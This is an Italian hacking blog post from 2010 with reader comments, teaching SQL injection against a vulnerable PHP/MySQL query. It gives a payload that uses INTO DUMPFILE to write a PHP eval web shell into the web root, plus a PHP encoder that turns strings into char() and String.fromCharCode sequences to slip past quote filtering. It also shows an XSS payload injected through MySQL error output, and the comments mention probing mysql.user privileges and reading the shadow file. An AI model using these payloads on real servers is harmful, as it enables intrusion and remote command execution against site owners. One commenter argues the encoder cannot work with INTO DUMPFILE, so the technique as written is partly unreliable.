ClsHack:Computer Security Blog    

Tecniche avanzate di SQL INJECTION/XSS


Evilsocket, nel febbraio 2010 mi aveva aperto gli occhi, sul come da una normale sql injection blind o normal che sia, è possibile aprirsi una shell remota sul server vittima :D

Vediamo un esempio di codice php buggato:

mysql_query("SELECT a FROM b WHERE id=".$_GET['id']);
Come vediamo, il parametro id non viene filtrato …
Sarebbe opportuno, per essere invulnerabili, inserire un:
(int) $_GET['id']

Ora nella variabile $_GET['id'] possiamo inserire codice sql :D

Tipo questo:
(SELECT ‘<?php eval($_GET['cmd']) ?> ’ INTO DUMPFILE ‘var/www/file.php’ )
Questo codice messo nella variabile id, ci apre una mini shell sul server, scrivendo il codice:
<?php eval($_GET['cmd']) ?>
Nel file /var/www/file.php.
Sperando di avere i diritti di scrittura :D altrimenti cerchiamo altre directory :D

Per bypassare i controlli messi sugli apici nelle variabili di input, evilsocket, consiglia di codificare in hex, purtroppo però a me non va, quindi usiamo un’altra soluzione :D

Ho scritto questo mini encoder per gli xss e le sql injection… ha parecchi anni -.-’ ma potrebbe essere utile :D

<?php
	echo "Author:clshack.it\n";
	if ($argc<2)
		die("Usage:".$argv[0]." string");

	$string=$argv[1];
	$l=strlen($string);
	$result="";
	$result_xss="";
	for($i=0;$i<$l;$i++){
		$result =$result."char(".ord($string[$i]).")+";
		$result_xss=$result_xss.ord($string[$i]).",";
	}
	$result[strlen($result)-1]="";
	$result_xss[strlen($result_xss)-1]="";
	echo "For sql:\n".$result."\n===\n";
	echo "For xss:\n"."String.fromCharCode(".$result_xss.")\n===\n";
?>


Lo si usa così:
php nome_file.php string

In questo modo, il nostro ‘var/www/file.php’, diventerebbe:

char(47)+char(118)+char(97)+char(114)+char(47)+char(119)+char(119)+char(119)+char(47)+char(102)+char(105)+char(108)+char(101)+char(46)+char(112)+char(104)+char(112)
Bypassando così eventuali controlli sugli apici :D

La stessa cosa vale per gli xss che diventerebbe un:
String.fromCharCode(99,108,115,104,97,99,107,46,105,116)

Quando c’è una sql injection, in php il più delle volte apre la porta ad un xss, tutto questo perche in molti fanno questo errore:

mysql_query("SELECT a FROM b WHERE id=".$_GET['id']) or die(mysql_error());
Quindi se noi ad $_GET['id'] diamo valore:
'<script>alert(String.fromCharCode(99,108,115,104,97,99,107,46,105,116))</script>
Il codice javascript viene eseguito.

Ma vi lascio ad ulteriori approfondimenti, con la guida di evilsocket e un’altra simile.

[DOWNLOAD PDF]Tecniche avanzate di SQL Injection, quello che non tutti sanno! by evilsocket
[DOWNLOAD PDF]Tecniche avanzate di SQL INJECTION

[ENGLISH TUTORIAL]MySQL Injection – Simple Load File and Into OutFile

Buona lettura :D

Related posts:

  1. SqlMap: Ottimo scanner per sql injection :)
  2. [beta1]ClsHack Scanner: PHP _GET/_POST/_COOKIE VAR LOCATE
  3. XSS: MORE POWER WITH Beef and Metasploit
  4. Wapiti: Web application security Scanner
  5. [php/mysql] semplice script login con sessioni

This entry was posted on Thursday, August 12th, 2010 at 6:56 pm and is filed under Hacking, Software. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

Tagged with:
  • http://www.evilripper.net evilripper

    mmm uffa non mi funziona!!!!!

  • clshack

    @evilripper

    potresti essere un po’ più preciso ? o.O cosa non ti funziona ? o.o

  • Phosphore

    Cazzo.. con questo sgami una xss su google..
    A parte gli scherzi.. complimenti a Evilsocket!

  • clshack

    @Phosphore:
    Cazzo.. con questo sgami una xss su google..
    Cazzo dici buzzurro :D

  • Phosphore

    buzzurrate, mi pare ovvio..

  • s3rg3770

    Prima di provare tecniche simili, bisogna sempre vedere i privilegi. Basta fare una query su mysql.user nella tabella user. Se ritorna l utente continuate, sennò prendete una birra e uscite.

    p.s clshack. Contattami in email. Quella che ho postato qui, ho una cosa interessante da dirti.

  • clshack

    @s3rg3770

    Queste tecniche vanno bene, sui server fatti in casa, dove l’utente lascia le configurazioni default di mysql, si connette con l’utente root e quindi sfruttando una sql injection, si hanno i permessi *root* o.O e si potrebbe anche leggere il file shadow quindi è una questione anche di configurazioni :D

  • Pingback: [TUTORIAL] Blind SQL INJECTION for MySql | Clshack

  • http://www.thecodingmonk.com thecodingmonk

    Purtroppo se non si possono utilizzare gli apici non si può usare nemmeno SELECT INTO DUMPFILE, infatti MySQL restituisce un errore di sintassi perché INTO DUMPFILE si aspetta una stringa e non un’espressione. Quindi in questo caso anche l’encoder è inutile (o scrivere i dati in hex o qualsiasi altra tecnica che in genere si usa). Da quello che ho letto non è possibile bypassare questa limitazione in alcun modo.

  • clshack_

    Grazie ;)